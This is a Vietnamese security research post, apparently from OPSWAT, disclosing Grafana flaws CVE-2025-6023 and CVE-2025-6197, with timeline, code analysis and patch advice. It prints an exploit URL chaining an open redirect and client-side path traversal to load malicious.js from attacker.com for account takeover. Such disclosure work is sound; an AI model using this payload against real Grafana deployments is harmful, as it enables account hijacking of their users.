Grafana là nền tảng mã nguồn mở hàng đầu về trực quan hóa, phân tích và giám sát dữ liệu, cho phép người dùng xây dựng bảng điều khiển tương tác bằng cách tổng hợp dữ liệu từ nhiều nguồn. Với hơn 68.000 sao trên GitHub và hàng triệu lượt tải xuống thông qua Docker Hub và các kho lưu trữ khác, Grafana đã trở thành một thành phần quan trọng trong các nền tảng giám sát hiện đại trên nhiều ngành công nghiệp.
Việc áp dụng rộng rãi và vai trò quan trọng trong giám sát cơ sở hạ tầng khiến Grafana trở thành mục tiêu hàng đầu của các tác nhân đe dọa. Việc bảo mật Grafana là điều cần thiết để bảo vệ tính toàn vẹn và khả dụng của môi trường giám sát trên khắp các doanh nghiệp.
Tại OPSWAT Chúng tôi tích cực đóng góp cho cộng đồng bảo mật bằng cách nghiên cứu và công bố có trách nhiệm các lỗ hổng bảo mật trên các nền tảng được sử dụng rộng rãi như Grafana. Năm 2021, một lỗ hổng nghiêm trọng mang mã hiệu CVE-2021-39226 đã được TheBlackTurtle , một thành viên của Đơn vị 515 thuộc OPSWAT , phát hiện và công bố một cách có trách nhiệm.
Ngoài những đóng góp này, OPSWAT cũng trao quyền cho thế hệ tài năng an ninh mạng tiếp theo thông qua các sáng kiến đào tạo thực tế. Một trong những chương trình như vậy là Chương trình Học bổng Sau đại học về An ninh mạng OPSWAT cơ sở hạ tầng trọng yếu , cung cấp cho sinh viên kinh nghiệm thực tế trong việc xác định và phân tích các mối đe dọa an ninh trong thế giới thực. Là một phần của chương trình này, một lỗ hổng nghiêm trọng mới trong Grafana, CVE-2025-6023 , đã được một trong những nghiên cứu sinh của chúng tôi phát hiện trong một dự án nghiên cứu độc lập.
OPSWAT Chương trình học bổng và khám phá lỗ hổng quan trọng
Các OPSWAT cơ sở hạ tầng trọng yếu Chương trình học bổng sau đại học về an ninh mạng, có trụ sở tại Việt Nam, cung cấp cho sinh viên sau đại học kinh nghiệm thực tế về bảo mật cơ sở hạ tầng trọng yếu . Các thành viên tích cực hợp tác với OPSWAT các chuyên gia an ninh mạng để giải quyết những thách thức thực tế trong việc phát hiện phần mềm độc hại, Bảo mật tập tin và phòng ngừa mối đe dọa.
Là một phần của chương trình nghiêm ngặt này, những người tham gia sẽ nghiên cứu, tái tạo và phân tích một cách có hệ thống các lỗ hổng đã biết (CVE) trong nhiều sản phẩm phần mềm, thư viện và hệ điều hành dưới sự hướng dẫn của OPSWAT chuyên gia. Hoa X. Nguyen , một trong những thành viên xuất sắc của chúng tôi, đã chọn Grafana làm trọng tâm cho dự án nghiên cứu chính của mình.
Vào tháng 6 năm 2025, trong quá trình đánh giá chuyên sâu về CVE-2025-4123 và phân tích sâu hơn mã nguồn của Grafana, Hoa X. Nguyen đã phát hiện ra một lỗ hổng chưa từng được biết đến trong nền tảng. Sự cố này liên quan đến việc kết nối một lỗ hổng chuyển hướng đang mở với lỗ hổng truyền tải đường dẫn phía máy khách (CSPT), cuối cùng dẫn đến tấn công Cross-Site Scripting (XSS) và chiếm đoạt toàn bộ tài khoản thông qua một điểm cuối khác trong Grafana.
Trong khi hợp tác chặt chẽ với Đơn vị 515 , chúng tôi đã phát hiện không chỉ một mà là hai chuỗi khai thác riêng biệt, mỗi chuỗi có thể dẫn đến xâm phạm toàn bộ tài khoản.
OPSWAT Tiếp tục đóng góp tích cực bằng cách báo cáo các lỗ hổng bảo mật một cách có trách nhiệm cho Grafana. Các vấn đề đã được ghi nhận kịp thời và các bản vá đã được phát hành trong các phiên bản tiếp theo. Các lỗ hổng này sau đó được gán mã CVE-2025-6023 và CVE-2025-6197, và kể từ đó đã được liệt kê công khai trong Cơ sở Dữ liệu Lỗ hổng Quốc gia (NVD).
Dòng thời gian CVE-2025-6023 & CVE-2025-6197
- Ngày 11 tháng 6 năm 2025: Hoa X. Nguyen đã xác định được lỗ hổng bảo mật trong Grafana phiên bản mới nhất và đã gửi báo cáo bảo mật cho Grafana.
- Ngày 11 tháng 6 năm 2025: Sau khi thảo luận, Grafana đã xác nhận lỗ hổng bảo mật và đánh giá CVE-2025-6023 ở mức độ nghiêm trọng cao.
- Ngày 17 tháng 6 năm 2025: Đạt Phụng thuộc Đơn vị 515 đã làm việc chặt chẽ với Hoa X. Nguyen và phát hiện ra một chuỗi tấn công khác khai thác lỗ hổng bảo mật.
- Ngày 17 tháng 6 năm 2025: Grafana xác nhận lỗ hổng bảo mật thứ hai và đánh giá CVE-2025-6197 ở mức độ nghiêm trọng trung bình.
- Ngày 17 tháng 7 năm 2025: Grafana phát hành 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 và 11.3.8+security-01, giới thiệu bản vá nâng cao có hiệu quả giải quyết các lỗ hổng bảo mật này.
- Ngày 18 tháng 7 năm 2025: Cơ sở dữ liệu lỗ hổng quốc gia (NVD) chính thức công bố CVE-2025-6023 và CVE-2025-6197.
Phân tích kỹ thuật về bản vá chưa hoàn chỉnh và CVE-2025-6023
Vào tháng 5 năm 2025, Alvaro Balada đã tiết lộ CVE-2025-4123, một lỗ hổng bảo mật nghiêm trọng trong Grafana. Lỗ hổng này kết hợp việc duyệt đường dẫn phía máy khách với lệnh chuyển hướng mở, cho phép kẻ tấn công triển khai các plugin front-end độc hại thực thi JavaScript tùy ý trong ngữ cảnh tin cậy của Grafana - dẫn đến việc chiếm đoạt toàn bộ tài khoản. Trong trường hợp quyền truy cập ẩn danh được bật, không cần xác thực. Ngoài ra, nếu plugin Grafana Image Renderer được cài đặt, lỗ hổng có thể leo thang thành SSRF , làm lộ các dịch vụ nội bộ hoặc siêu dữ liệu đám mây.
Grafana đã giải quyết vấn đề này bằng các bản cập nhật bảo mật vào tháng 5 năm 2025 , bao gồm các bản vá trong phiên bản 12.0.0+security01, 11.6.1+security01 và các bản vá khác trên các nhánh 10.x–11.x. Các bản sửa lỗi bao gồm cải tiến Chính sách Bảo mật Nội dung (CSP) và tinh chỉnh chuyển hướng chặt chẽ hơn.
Là một phần của OPSWAT cơ sở hạ tầng trọng yếu Chương trình Học bổng Sau đại học về An ninh mạng, Hoa X. Nguyen đã tiến hành phân tích toàn diện về CVE-2025-4123. Nghiên cứu của anh bao gồm việc đảo ngược kỹ thuật khai thác và đánh giá hiệu quả của bản vá được cung cấp. Trong quá trình điều tra, Hoa nhận thấy rằng mặc dù lỗ hổng về cơ bản là sự kết hợp giữa chuyển hướng mở và duyệt đường dẫn phía máy khách, bản vá cho CVE-2025-4123 chỉ xử lý chuyển hướng mở trong staticHandler , thông qua kiểm tra làm sạch dữ liệu được giới thiệu trong commit {ff20b06}.
Tuy nhiên, việc giảm thiểu một phần này đã bỏ qua hướng tấn công cốt lõi. Rủi ro tiềm ẩn vẫn còn: nếu kẻ tấn công có thể xác định một điểm cuối thay thế dễ bị tấn công chuyển hướng mở , chuỗi khai thác tương tự vẫn có thể tồn tại và được sử dụng để chiếm đoạt toàn bộ tài khoản - ngay cả sau khi bản vá được phát hành. Với giả thuyết này, Hoa đã tiến hành đánh giá mã nguồn sâu hơn đối với cơ sở dữ liệu mã Grafana. Nhờ nỗ lực này, anh đã xác định thành công một điểm cuối dễ bị tấn công khác: /user/auth-tokens/rotate .
Điểm cuối này được thiết kế để tạo lại mã thông báo xác thực đã hết hạn. Tham số truy vấn redirectTo được sử dụng để điều hướng người dùng đến trang đích sau khi mã thông báo được gia hạn thành công.
Trong triển khai thông thường, URL chuyển hướng được xây dựng bằng cách nối giá trị cấu hình Cfg.AppSubURL với tham số redirectTo do người dùng cung cấp. Tuy nhiên, trong cấu hình mặc định của Grafana, AppSubURL không được xác định. Do đó, ứng dụng chỉ dựa vào giá trị thô của redirectTo khi tạo đường dẫn chuyển hướng.
Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.
Đối với cơ chế chuyển hướng này, Grafana cố gắng giảm thiểu rủi ro bảo mật liên quan đến dữ liệu đầu vào do người dùng cung cấp thông qua một hàm xác thực có tên là ValidateRedirectTo , nhằm mục đích chặn các mục tiêu chuyển hướng không an toàn - chẳng hạn như các mục tiêu bắt đầu bằng //example.com - bằng cách không cho phép dấu gạch chéo kép ở đầu đường dẫn:
Tuy nhiên, như đã được chứng minh trong nghiên cứu ban đầu của Alvaro Balada , chức năng này có thể được bỏ qua bằng cách sử dụng dấu gạch chéo xuôi theo sau là dấu gạch chéo ngược (ví dụ: /\example.com ), mà các trình duyệt hiện đại diễn giải tương tự như // example.com. Do đó, có thể sử dụng đoạn mã sau để thực hiện chuyển hướng mở, giả sử người dùng đã được xác thực:
/user/auth-tokens/rotate?redirectTo=/\example.com
Phát hiện này của Hoa X. Nguyen - cùng với biện pháp khắc phục chưa hoàn chỉnh đối với CVE-2025-4123 - chứng minh rằng việc chiếm đoạt toàn bộ tài khoản Grafana vẫn có thể xảy ra.
Khi phát hiện ra lối đi vòng này, OPSWAT đã nhanh chóng báo cáo sự cố cho nhóm phát triển Grafana. Đáp lại, Grafana đã xác định biện pháp giảm thiểu trước đó chưa hoàn thiện thông qua các cuộc thảo luận nội bộ và đã lên kế hoạch giải quyết vấn đề trong bản phát hành sắp tới trước khi chúng tôi báo cáo. Kết quả là, báo cáo của chúng tôi đã được chấp nhận với việc chỉ định một mã CVE mới cho lỗ hổng chuyển hướng mở chưa được phát hiện, được phân loại ở mức độ nghiêm trọng trung bình .
CVE-2025-6023: Chuỗi khai thác mới cho phép chiếm đoạt toàn bộ tài khoản
CVE-2025-4123 ban đầu nêu bật lỗ hổng truy cập đường dẫn phía máy khách (CSPT) trong ứng dụng plugin front-end của Grafana. Trong báo cáo ban đầu, Hoa X. Nguyen đã kết hợp sự cố CSPT đã biết này với một lỗ hổng chuyển hướng mở mới được phát hiện để tạo ra một chuỗi khai thác hiệu quả. Mặc dù tác động nghiêm trọng đã được chứng minh, lỗ hổng này chỉ được đánh giá ở mức độ trung bình, vì Grafana đã thừa nhận nội bộ về bản vá chưa hoàn chỉnh trước khi tiết lộ CSPT.
Điều này đã thúc đẩy một cuộc điều tra sâu hơn về việc liệu có tồn tại các lỗ hổng CSPT bổ sung trong cơ sở dữ liệu mã Grafana hay không, khi kết hợp với lỗ hổng chuyển hướng mở mới được phát hiện, có thể cho phép một chuỗi khai thác hoàn toàn độc lập. Nếu lỗ hổng CSPT như vậy được tìm thấy trên một điểm cuối khác, nó có thể biện minh cho việc gán cùng mức độ nghiêm trọng cao như CVE-2025-4123.
Phát hiện một đối tượng dễ bị tổn thương mới Endpoint
Dựa trên giả thuyết này, Hoa đã tiến hành đánh giá chuyên sâu mã nguồn của Grafana. Trong quá trình phân tích, anh đã xác định được một điểm cuối dễ bị tấn công khác, cho phép truy xuất và thực thi các tập lệnh động từ các nguồn tùy ý - mà không cần xác thực hoặc kiểm tra đầu vào phù hợp. Hành vi không an toàn này liên quan đến chức năng viết tập lệnh bảng điều khiển của Grafana, được quản lý cụ thể thông qua tuyến đường sau:
/bảng điều khiển/:loại/:slug
Tuyến đường này được xử lý bởi phần mềm trung gian chịu trách nhiệm xử lý tập lệnh bảng điều khiển. Cụ thể, tham số :slug được sử dụng để tải và thực thi các tập lệnh một cách động - mà không cần kiểm tra kỹ lưỡng - do đó cho phép kẻ tấn công tạo ra các URL độc hại và có khả năng tạo lại chuỗi khai thác tương tự như CVE-2025-4123.
Phân tích cơ chế viết kịch bản bảng điều khiển
Cơ chế viết kịch bản bảng điều khiển của Grafana sử dụng thành phần DashboardPageProxy để xử lý các yêu cầu tương ứng với tuyến đường /dashboard/:type/:slug :
Trong DashboardPageProxy , luồng thực thi diễn ra như sau:
Kết quả trả về bởi DashboardPageProxy được lấy từ việc thực thi phương thức stateManager.fetchDashboard() , phương thức này chấp nhận các tham số uid , type và slug được trích xuất từ đường dẫn URL. Để phân tích cách phản hồi này được xây dựng, Hoa X.Nguyen đã kiểm tra đối tượng stateManager và logic bên trong phương thức fetchDashboard() của nó. StateManager được khởi tạo thông qua hàm getDashboardScenePageStateManager() , được định nghĩa trong tệp sau:
/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts
Vì stateManager được khởi tạo bằng cách gọi hàm getDashboardScenePageStateManager() mà không có bất kỳ đối số nào, như minh họa trong Hình 2, nên có thể kết luận rằng đối tượng được trả về là một thể hiện của lớp UnifiedDashboardScenePageStateManager .
Do đó, để hiểu hành vi của phương thức fetchDashboard (), anh ấy đã tiến hành phân tích cách triển khai phương thức này trong lớp UnifiedDashboardScenePageStateManager :
Trong lớp UnifiedDashboardScenePageStateManager , phương thức fetchDashboard () trước tiên sẽ gọi hàm withVersionHandling() . Hàm này chịu trách nhiệm xác định và trả về thể hiện activeManager . Sau khi activeManager được xây dựng, nó sẽ gọi phương thức fetchDashboard() tương ứng trên thể hiện đó, truyền tham số options liên quan.
Thể hiện activeManager là một đối tượng DashboardScenePageStateManager hoặc DashboardScenePageStateManagerV2 . Cả hai lớp đều triển khai logic tương tự để lấy dữ liệu bảng điều khiển. Đoạn mã sau được lấy từ lớp DashboardScenePageStateManager :
Trong phương thức fetchDashboard() của lớp DashboardScenePageStateManager , một câu lệnh switch được sử dụng để xác định logic xử lý phù hợp dựa trên loại tuyến đường. Trong trường hợp mặc định, phương thức này gọi:
dashboardLoaderSrv.loadDashboard(loại, slug, uid, truy vấn)
Lệnh gọi này khởi tạo quá trình tải bảng điều khiển được yêu cầu. Tham chiếu triển khai hàm loadDashboard() có thể được tìm thấy trong tệp sau:
/public/app/features/dashboard/services/DashboardLoad
Trong hàm loadDashboard (), một số kiểm tra có điều kiện được thực hiện để xác định luồng xử lý phù hợp. Trong trường hợp cụ thể khi kiểu được đặt thành "script" và slug đã tồn tại, hàm sẽ gọi:
this.loadScriptedDashboard(slug)
Ở đây, slug - bắt nguồn trực tiếp từ dữ liệu đầu vào của người dùng - được truyền dưới dạng tham số cho phương thức loadScriptedDashboard (). Để đánh giá luồng thực thi và các lỗ hổng có thể xảy ra do lệnh gọi này, Hoa đã tiến hành phân tích việc triển khai loadScriptedDashboard() trong lớp DashboardLoaderSrvBase :
Trong phương thức loadScriptedDashboard (), tham số slug - được minh họa trong Hình 2 - được coi là một tên tệp (chuỗi) và được sử dụng để xây dựng biến url . Tuy nhiên, tham số này không được khử trùng đúng cách. Việc triển khai áp dụng một biểu thức chính quy để thay thế tất cả các ký tự dấu chấm (.) ngoại trừ những ký tự ngay sau " js " bằng dấu gạch chéo (/). Việc lọc một phần này không khử trùng đúng cách dữ liệu đầu vào, khiến nó dễ bị thao túng đường dẫn và tấn công duyệt.
Sau khi URL được xây dựng, tập lệnh sẽ cố gắng tải bảng điều khiển được chỉ định bằng cách gọi getBackendSrv().get(url). Tập lệnh được truy xuất sau đó được thực thi bằng cách sử dụng this.executeScript(code).
Phân tích này cuối cùng đã giúp Hoa X. Nguyen phát hiện ra một lỗ hổng Client-Side Path Traversal (CSPT) mới trong phiên bản Grafana mới nhất. Do thiếu cơ chế kiểm tra hoặc xác thực đầu vào, kẻ tấn công có thể thao túng slug để tạo một URL tải và thực thi một tập lệnh độc hại từ nguồn bên ngoài - sao chép lỗ hổng cốt lõi đã được xác định trước đó trong CVE-2025-4123 thông qua việc tải tập lệnh bảng điều khiển.
Khi kết hợp với lỗ hổng chuyển hướng mở mới được phát hiện, sự cố này cho phép một chuỗi khai thác hoàn chỉnh có khả năng chiếm đoạt toàn bộ tài khoản. Một ví dụ về tải trọng minh họa cho lỗ hổng này như sau:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>
Chẳng hạn:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js
Tệp malicious.js có thể được tạo ra để thay đổi địa chỉ email và tên người dùng của nạn nhân thành địa chỉ do kẻ tấn công kiểm soát. Điều này sẽ cho phép kẻ tấn công khởi tạo quy trình đặt lại mật khẩu vào địa chỉ email của chính chúng, cuối cùng dẫn đến việc chiếm đoạt toàn bộ tài khoản:
Bằng chứng khái niệm cho CVE-2025-6023
Video này trình bày tác động thực tế của CVE-2025-6023, minh họa kịch bản chiếm đoạt toàn bộ tài khoản ảnh hưởng đến người dùng Grafana, được phát hiện bởi Hoa X. Nguyen, OPSWAT :
Giảm nhẹ và hướng dẫn
Để giảm thiểu các lỗ hổng mà chúng tôi đã thảo luận ở trên, vui lòng đảm bảo hệ thống của bạn được cập nhật lên phiên bản Grafana mới nhất.
MetaDefender Core sử dụng công cụ SBOM có thể phát hiện ra lỗ hổng này
OPSWAT MetaDefender Core , được trang bị SBOM tiên tiến ( Software Khả năng (Bill of Materials) cho phép các tổ chức chủ động giải quyết các rủi ro bảo mật. Bằng cách quét các ứng dụng phần mềm và các phụ thuộc của chúng, MetaDefender Core Xác định các lỗ hổng đã biết, chẳng hạn như CVE-2025-6023 và CVE-2025-6197, trong các thành phần được liệt kê. Điều này cho phép các nhóm phát triển và bảo mật ưu tiên các nỗ lực vá lỗi, giảm thiểu các rủi ro bảo mật tiềm ẩn trước khi chúng có thể bị khai thác bởi các tác nhân độc hại.
Dưới đây là ảnh chụp màn hình của CVE-2025-6023 và CVE-2025-6197, được phát hiện bởi MetaDefender Core với SBOM:
Ngoài ra, CVE cũng có thể được phát hiện bởi MetaDefender Software Supply Chain , tận dụng MetaDefender Core với SBOM để xác định những lỗ hổng này.